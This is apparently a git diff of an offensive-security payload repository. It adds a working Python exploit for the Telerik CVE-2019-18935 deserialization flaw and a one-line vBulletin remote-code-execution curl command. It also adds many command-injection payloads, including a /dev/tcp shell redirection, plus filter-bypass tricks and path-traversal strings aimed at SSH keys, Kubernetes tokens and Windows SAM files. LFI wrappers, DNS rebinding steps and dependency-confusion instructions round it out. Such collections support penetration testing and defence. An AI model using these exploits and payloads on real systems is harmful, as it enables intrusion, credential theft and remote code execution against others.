accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
|
||||
brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
|
||||
|
||||
encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
|
||||
encode_parser.set_defaults(func=mode_b64e)
|
||||
encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
|
||||
|
||||
decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
|
||||
decode_parser.set_defaults(func=mode_b64d)
|
||||
decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
|
||||
|
||||
args = p.parse_args()
|
||||
|
||||
if len(sys.argv) > 2:
|
||||
args.func()
|
||||
140
CVE Exploits/Telerik CVE-2019-18935.py
Normal file
@@ -0,0 +1,140 @@
|
||||
#!/usr/bin/env python3
|
||||
# origin : https://github.com/noperator/CVE-2019-18935
|
||||
# INSTALL:
|
||||
# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
|
||||
# python3 -m venv env
|
||||
# source env/bin/activate
|
||||
# pip3 install -r requirements.txt
|
||||
|
||||
# Import encryption routines.
|
||||
from sys import path
|
||||
path.insert(1, 'RAU_crypto')
|
||||
from RAU_crypto import RAUCipher
|
||||
|
||||
from argparse import ArgumentParser
|
||||
from json import dumps, loads
|
||||
from os.path import basename, splitext
|
||||
from pprint import pprint
|
||||
from requests import post
|
||||
from requests.packages.urllib3 import disable_warnings
|
||||
from sys import stderr
|
||||
from time import time
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
def send_request(files):
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
|
||||
'Connection': 'close',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Upgrade-Insecure-Requests': '1'
|
||||
}
|
||||
response = post(url, files=files, verify=False, headers=headers)
|
||||
try:
|
||||
result = loads(response.text)
|
||||
result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
|
||||
pprint(result)
|
||||
except:
|
||||
print(response.text)
|
||||
|
||||
def build_raupostdata(object, type):
|
||||
return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
|
||||
|
||||
def upload():
|
||||
|
||||
# Build rauPostData.
|
||||
object = {
|
||||
'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
|
||||
'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
|
||||
'MaxFileSize': 0,
|
||||
'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
|
||||
'Ticks': 1440000000000,
|
||||
'Days': 0,
|
||||
'Hours': 40,
|
||||
'Minutes': 0,
|
||||
'Seconds': 0,
|
||||
'Milliseconds': 0,
|
||||
'TotalDays': 1.6666666666666666,
|
||||
'TotalHours': 40,
|
||||
'TotalMinutes': 2400,
|
||||
'TotalSeconds': 144000,
|
||||
'TotalMilliseconds': 144000000
|
||||
},
|
||||
'UseApplicationPoolImpersonation': False
|
||||
}
|
||||
type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
|
||||
raupostdata = build_raupostdata(object, type)
|
||||
|
||||
with open(filename_local, 'rb') as f:
|
||||
payload = f.read()
|
||||
|
||||
metadata = {
|
||||
'TotalChunks': 1,
|
||||
'ChunkIndex': 0,
|
||||
'TotalFileSize': 1,
|
||||
'UploadID': filename_remote # Determines remote filename on disk.
|
||||
}
|
||||
|
||||
# Build multipart form data.
|
||||
files = {
|
||||
'rauPostData': (None, raupostdata),
|
||||
'file': (filename_remote, payload, 'application/octet-stream'),
|
||||
'fileName': (None, filename_remote),
|
||||
'contentType': (None, 'application/octet-stream'),
|
||||
'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
|
||||
'metadata': (None, dumps(metadata))
|
||||
}
|
||||
|
||||
# Send request.
|
||||
print('[*] Local payload name: ', filename_local, file=stderr)
|
||||
print('[*] Destination folder: ', temp_target_folder, file=stderr)
|
||||
print('[*] Remote payload name:', filename_remote, file=stderr)
|
||||
print(file=stderr)
|
||||
send_request(files)
|
||||
|
||||
def deserialize():
|
||||
|
||||
# Build rauPostData.
|
||||
object = {
|
||||
'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
|
||||
}
|
||||
type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
|
||||
raupostdata = build_raupostdata(object, type)
|
||||
|
||||
# Build multipart form data.
|
||||
files = {
|
||||
'rauPostData': (None, raupostdata), # Only need this now.
|
||||
'': '' # One extra input is required for the page to process the request.
|
||||
}
|
||||
|
||||
# Send request.
|
||||
print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
|
||||
start = time()
|
||||
send_request(files)
|
||||
end = time()
|
||||
print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
|
||||
parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
|
||||
parser.add_argument('-v', dest='ui_version', required=True, help='software version')
|
||||
parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
|
||||
parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
|
||||
parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
|
||||
parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
|
||||
args = parser.parse_args()
|
||||
|
||||
temp_target_folder = args.folder.replace('/', '\\')
|
||||
ui_version = args.ui_version
|
||||
net_version = args.net_version
|
||||
filename_local = args.payload
|
||||
filename_remote = str(time()) + splitext(basename(filename_local))[1]
|
||||
url = args.url
|
||||
|
||||
upload()
|
||||
|
||||
if not args.test_upload:
|
||||
deserialize()
|
||||
|
||||
1
CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh
Normal file
@@ -0,0 +1 @@
|
||||
curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"
|
||||
@@ -3,19 +3,28 @@
|
||||
<!--#exec%20cmd="/usr/bin/id;-->
|
||||
<!--#exec%20cmd="/usr/bin/id;-->
|
||||
/index.html|id|
|
||||
";id;"
|
||||
';id;'
|
||||
;id;
|
||||
;id
|
||||
;netstat -a;
|
||||
;id;
|
||||
"|id|"
|
||||
'|id|'
|
||||
|id
|
||||
|/usr/bin/id
|
||||
|id|
|
||||
"|/usr/bin/id|"
|
||||
'|/usr/bin/id|'
|
||||
|/usr/bin/id|
|
||||
"||/usr/bin/id|"
|
||||
'||/usr/bin/id|'
|
||||
||/usr/bin/id|
|
||||
|id;
|
||||
||/usr/bin/id;
|
||||
;id|
|
||||
;|/usr/bin/id|
|
||||
"\n/bin/ls -al\n"
|
||||
'\n/bin/ls -al\n'
|
||||
\n/bin/ls -al\n
|
||||
\n/usr/bin/id\n
|
||||
\nid\n
|
||||
@@ -56,8 +65,12 @@ a|/usr/bin/id
|
||||
%0Acat%20/etc/passwd
|
||||
%0A/usr/bin/id
|
||||
%0Aid
|
||||
%22%0A/usr/bin/id%0A%22
|
||||
%27%0A/usr/bin/id%0A%27
|
||||
%0A/usr/bin/id%0A
|
||||
%0Aid%0A
|
||||
"& ping -i 30 127.0.0.1 &"
|
||||
'& ping -i 30 127.0.0.1 &'
|
||||
& ping -i 30 127.0.0.1 &
|
||||
& ping -n 30 127.0.0.1 &
|
||||
%0a ping -i 30 127.0.0.1 %0a
|
||||
|
||||
@@ -12,11 +12,13 @@
|
||||
* [Filter Bypasses](#filter-bypasses)
|
||||
* [Bypass without space](#bypass-without-space)
|
||||
* [Bypass with a line return](#bypass-with-a-line-return)
|
||||
* [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding)
|
||||
* [Bypass blacklisted words](#bypass-blacklisted-words)
|
||||
* [Bypass with single quote](#bypass-with-a-single-quote)
|
||||
* [Bypass with double quote](#bypass-with-a-double-quote)
|
||||
* [Bypass with single quote](#bypass-with-single-quote)
|
||||
* [Bypass with double quote](#bypass-with-double-quote)
|
||||
* [Bypass with backslash and slash](#bypass-with-backslash-and-slash)
|
||||
* [Bypass with $@](#bypass-with-----)
|
||||
* [Bypass with $@](#bypass-with-)
|
||||
* [Bypass with $()](#bypass-with--1)
|
||||
* [Bypass with variable expansion](#bypass-with-variable-expansion)
|
||||
* [Bypass with wildcards](#bypass-with-wildcards)
|
||||
* [Challenge](#challenge)
|
||||
@@ -50,7 +52,7 @@ sys:x:3:3:sys:/dev:/bin/sh
|
||||
original_cmd_by_server; ls
|
||||
original_cmd_by_server && ls
|
||||
original_cmd_by_server | ls
|
||||
original_cmd_by_server || ls Only if the first cmd fail
|
||||
original_cmd_by_server || ls # Only if the first cmd fail
|
||||
```
|
||||
|
||||
### Inside a command
|
||||
@@ -70,23 +72,23 @@ Works on Linux only.
|
||||
swissky@crashlab:~/Www$ cat</etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
|
||||
swissky@crashlab:~$ {cat,/etc/passwd}
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
|
||||
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
|
||||
swissky@crashlab:~$ cat$IFS/etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
|
||||
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|
||||
swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|
||||
RCE
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
|
||||
swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
|
||||
swissky@crashlab:~$ X=$'uname\x20-a'&&$X
|
||||
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
|
||||
|
||||
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
|
||||
swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242
|
||||
```
|
||||
|
||||
Commands execution without spaces, $ or { } - Linux (Bash only)
|
||||
@@ -95,6 +97,16 @@ Commands execution without spaces, $ or { } - Linux (Bash only)
|
||||
IFS=,;`cat<<<uname,-a`
|
||||
```
|
||||
|
||||
Tabs work as separators in web apps where spaces are removed.
|
||||
|
||||
```powershell
|
||||
;ls%09-al%09/home
|
||||
drwxr-xr-x 4 root root 4096 Jan 10 13:34 .
|
||||
drwxr-xr-x 18 root root 4096 Jan 10 13:33 ..
|
||||
drwx------ 2 root root 16384 Jan 10 13:31 lost+found
|
||||
drwxr-xr-x 4 test test 4096 Jan 13 08:30 test
|
||||
```
|
||||
|
||||
Works on Windows only.
|
||||
|
||||
```powershell
|
||||
@@ -108,6 +120,65 @@ ping%PROGRAMFILES:~10,-5%IP
|
||||
something%0Acat%20/etc/passwd
|
||||
```
|
||||
|
||||
You can also write files.
|
||||
|
||||
```powershell
|
||||
;cat>/tmp/hi<<EOF%0ahello%0aEOF
|
||||
;cat</tmp/hi
|
||||
hello
|
||||
```
|
||||
|
||||
### Bypass characters filter via hex encoding
|
||||
|
||||
Linux
|
||||
|
||||
```powershell
|
||||
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
/etc/passwd
|
||||
|
||||
swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
|
||||
/etc/passwd
|
||||
|
||||
swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
/etc/passwd
|
||||
|
||||
swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
### Bypass characters filter
|
||||
|
||||
Commands execution without backslash and slash - linux bash
|
||||
|
||||
```powershell
|
||||
swissky@crashlab:~$ echo ${HOME:0:1}
|
||||
/
|
||||
|
||||
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
|
||||
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
|
||||
/
|
||||
|
||||
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
|
||||
/
|
||||
|
||||
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
### Bypass Blacklisted words
|
||||
|
||||
#### Bypass with single quote
|
||||
@@ -139,6 +210,13 @@ echo $0
|
||||
echo whoami|$0
|
||||
```
|
||||
|
||||
### Bypass with $()
|
||||
```powershell
|
||||
who$()ami
|
||||
who$(echo am)i
|
||||
who`echo am`i
|
||||
```
|
||||
|
||||
#### Bypass with variable expansion
|
||||
|
||||
```powershell
|
||||
@@ -169,12 +247,12 @@ g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
|
||||
Extracting data : char by char
|
||||
|
||||
```powershell
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
||||
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
||||
real 0m0.002s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
|
||||
75
DNS Rebinding/README.md
Normal file
@@ -0,0 +1,75 @@
|
||||
# DNS Rebinding
|
||||
|
||||
> DNS rebinding changes the IP address of an attacker controlled machine name to the IP address of a target application, bypassing the [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) and thus allowing the browser to make arbitrary requests to the target application and read their responses.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Exploitation](#exploitation)
|
||||
* [Protection Bypasses](#protection-bypasses)
|
||||
|
||||
## Tools
|
||||
|
||||
- [Singularity of Origin](https://github.com/nccgroup/singularity) - is a tool to perform DNS rebinding attacks.
|
||||
- [Singularity of Origin Web Client](http://rebind.it/) (manager interface, port scanner and autoattack)
|
||||
|
||||
## Exploitation
|
||||
|
||||
First, we need to make sure that the targeted service is vulnerable to DNS rebinding.
|
||||
It can be done with a simple curl request:
|
||||
|
||||
```bash
|
||||
curl --header 'Host: <arbitrary-hostname>' http://<vulnerable-service>:8080
|
||||
```
|
||||
|
||||
If the server returns the expected result (e.g. the regular web page) then the service is vulnerable.
|
||||
If the server returns an error message (e.g. 404 or similar), the server has most likely protections implemented which prevent DNS rebinding attacks.
|
||||
|
||||
Then, if the service is vulnerable, we can abuse DNS rebinding by following these steps:
|
||||
|
||||
1. Register a domain.
|
||||
2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
|
||||
3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.
|
||||
4. Browse to "http://rebinder.your.domain:8080/autoattack.html".
|
||||
5. Wait for the attack to finish (it can take few seconds/minutes).
|
||||
|
||||
## Protection Bypasses
|
||||
|
||||
> Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.
|
||||
|
||||
In the case where DNS protection are enabled (generally disabled by default), NCC Group has documented multiple [DNS protection bypasses](https://github.com/nccgroup/singularity/wiki/Protection-Bypasses) that can be used.
|
||||
|
||||
### 0.0.0.0
|
||||
|
||||
We can use the IP address 0.0.0.0 to access the localhost (127.0.0.1) to bypass filters blocking DNS responses containing 127.0.0.1 or 127.0.0.0/8.
|
||||
|
||||
### CNAME
|
||||
|
||||
We can use DNS CNAME records to bypass a DNS protection solution that blocks all internal IP addresses.
|
||||
Since our response will only return a CNAME of an internal server,
|
||||
the rule filtering internal IP addresses will not be applied.
|
||||
Then, the local, internal DNS server will resolve the CNAME.
|
||||
|
||||
```bash
|
||||
$ dig cname.example.com +noall +answer
|
||||
; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
|
||||
;; global options: +cmd
|
||||
cname.example.com. 381 IN CNAME target.local.
|
||||
```
|
||||
|
||||
### localhost
|
||||
|
||||
We can use "localhost" as a DNS CNAME record to bypass filters blocking DNS responses containing 127.0.0.1.
|
||||
|
||||
```bash
|
||||
$ dig www.example.com +noall +answer
|
||||
; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
|
||||
;; global options: +cmd
|
||||
localhost.example.com. 381 IN CNAME localhost.
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [How Do DNS Rebinding Attacks Work? - nccgroup, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)
|
||||
|
||||
|
||||
32
Dependency Confusion/README.md
Normal file
@@ -0,0 +1,32 @@
|
||||
# Dependency Confusion
|
||||
|
||||
> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Exploit](#exploitation)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
* [Confused](https://github.com/visma-prodsec/confused)
|
||||
|
||||
## Exploit
|
||||
|
||||
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
|
||||
|
||||
### NPM example
|
||||
|
||||
* List all the packages (ie: package.json, composer.json, ...)
|
||||
* Find the package missing from https://www.npmjs.com/
|
||||
* Register and create a **public** package with the same name
|
||||
* Package example : https://github.com/0xsapra/dependency-confusion-expoit
|
||||
|
||||
## References
|
||||
|
||||
* [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
|
||||
* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
|
||||
* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=zFHJwehpBrU )
|
||||
@@ -130,3 +130,11 @@ C:\boot.ini
|
||||
/.../.../.../.../.../
|
||||
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
|
||||
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||
|
||||
@@ -6,14 +6,17 @@
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Basic exploitation](#basic-exploitation)
|
||||
* [16 bits Unicode encoding](#)
|
||||
* [UTF-8 Unicode encoding](#)
|
||||
* [Bypass "../" replaced by ""](#)
|
||||
* [Double URL encoding](#)
|
||||
* [16 bits Unicode encoding](#16-bits-unicode-encoding)
|
||||
* [UTF-8 Unicode encoding](#utf-8-unicode-encoding)
|
||||
* [Bypass "../" replaced by ""](#bypass--replaced-by-)
|
||||
* [Bypass "../" with ";"](#bypass--with-)
|
||||
* [Double URL encoding](#double-url-encoding)
|
||||
* [UNC Bypass](#unc-bypass)
|
||||
* [NGINX/ALB Bypass](#nginxalb-bypass)
|
||||
* [Path Traversal](#path-traversal)
|
||||
* [Interesting Linux files](#)
|
||||
* [Interesting Windows files](#)
|
||||
* [Interesting Linux files](#interesting-linux-files)
|
||||
* [Interesting Windows files](#interesting-windows-files)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
@@ -62,6 +65,13 @@ Sometimes you encounter a WAF which remove the "../" characters from the strings
|
||||
...\.\
|
||||
```
|
||||
|
||||
### Bypass "../" with ";"
|
||||
|
||||
```powershell
|
||||
..;/
|
||||
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
|
||||
```
|
||||
|
||||
### Double URL encoding
|
||||
|
||||
```powershell
|
||||
@@ -70,6 +80,8 @@ Sometimes you encounter a WAF which remove the "../" characters from the strings
|
||||
\ = %255c
|
||||
```
|
||||
|
||||
**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini`
|
||||
|
||||
### UNC Bypass
|
||||
|
||||
An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
|
||||
@@ -78,6 +90,24 @@ An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software
|
||||
\\localhost\c$\windows\win.ini
|
||||
```
|
||||
|
||||
### NGINX/ALB Bypass
|
||||
|
||||
NGINX in certain configurations and ALB can block traversal attacks in the route, For example:
|
||||
```http://nginx-server/../../``` will return a 400 bad request.
|
||||
|
||||
To bypass this behaviour just add forward slashes in front of the url:
|
||||
```http://nginx-server////////../../```
|
||||
|
||||
|
||||
### Java Bypass
|
||||
|
||||
Bypass Java's URL protocol
|
||||
|
||||
```powershell
|
||||
url:file:///etc/passwd
|
||||
url:http://127.0.0.1:8080
|
||||
```
|
||||
|
||||
|
||||
## Path Traversal
|
||||
|
||||
@@ -105,11 +135,24 @@ An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software
|
||||
/proc/self/cwd/main.py
|
||||
/home/$USER/.bash_history
|
||||
/home/$USER/.ssh/id_rsa
|
||||
/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/run/secrets/kubernetes.io/serviceaccount/certificate
|
||||
/var/run/secrets/kubernetes.io/serviceaccount
|
||||
/var/lib/mlocate/mlocate.db
|
||||
/var/lib/mlocate.db
|
||||
```
|
||||
|
||||
### Interesting Windows files
|
||||
|
||||
Always existing file in recent Windows machine.
|
||||
Ideal to test path traversal but nothing much interesting inside...
|
||||
|
||||
```powershell
|
||||
c:\windows\system32\license.rtf
|
||||
c:\windows\system32\eula.txt
|
||||
```
|
||||
|
||||
Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
|
||||
|
||||
```powershell
|
||||
@@ -133,6 +176,8 @@ c:/unattend.txt
|
||||
c:/unattend.xml
|
||||
c:/unattended.txt
|
||||
c:/unattended.xml
|
||||
c:/windows/repair/sam
|
||||
c:/windows/repair/system
|
||||
```
|
||||
|
||||
The following log files are controllable and can be included with an evil payload to achieve a command execution
|
||||
@@ -152,5 +197,8 @@ The following log files are controllable and can be included with an evil payloa
|
||||
|
||||
## References
|
||||
|
||||
* [Path Traversal Cheat Sheet: Windows](https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
|
||||
* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)
|
||||
* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
|
||||
* [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
|
||||
* [Directory traversal - Portswigger](https://portswigger.net/web-security/file-path-traversal)
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
71
|
||||
@@ -25,6 +25,7 @@
|
||||
* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
|
||||
* [LFI to RCE via upload](#lfi-to-rce-via-upload)
|
||||
* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
|
||||
* [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
|
||||
* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
|
||||
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
|
||||
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
|
||||
@@ -35,6 +36,7 @@
|
||||
* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
|
||||
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
|
||||
* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
* [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic)
|
||||
|
||||
## Basic LFI
|
||||
|
||||
@@ -46,7 +48,7 @@ http://example.com/index.php?page=../../../etc/passwd
|
||||
|
||||
### Null byte
|
||||
|
||||
:warning: In versions of PHP below 5.3 we can terminate with null byte.
|
||||
:warning: In versions of PHP below 5.3.4 we can terminate with null byte.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
@@ -122,6 +124,7 @@ The part "php://filter" is case insensitive
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
|
||||
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
|
||||
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
|
||||
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
|
||||
```
|
||||
@@ -132,7 +135,9 @@ can be chained with a compression wrapper for large files.
|
||||
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
|
||||
```
|
||||
|
||||
NOTE: Wrappers can be chained multiple times : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s`
|
||||
NOTE: Wrappers can be chained multiple times using `|` or `/`:
|
||||
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
|
||||
- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
|
||||
|
||||
```powershell
|
||||
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
|
||||
@@ -268,12 +273,26 @@ for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
print('[x] Something went wrong, please try again')
|
||||
```
|
||||
|
||||
## LFI to RCE via upload (FindFirstFile)
|
||||
|
||||
:warning: Only works on Windows
|
||||
|
||||
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows.
|
||||
|
||||
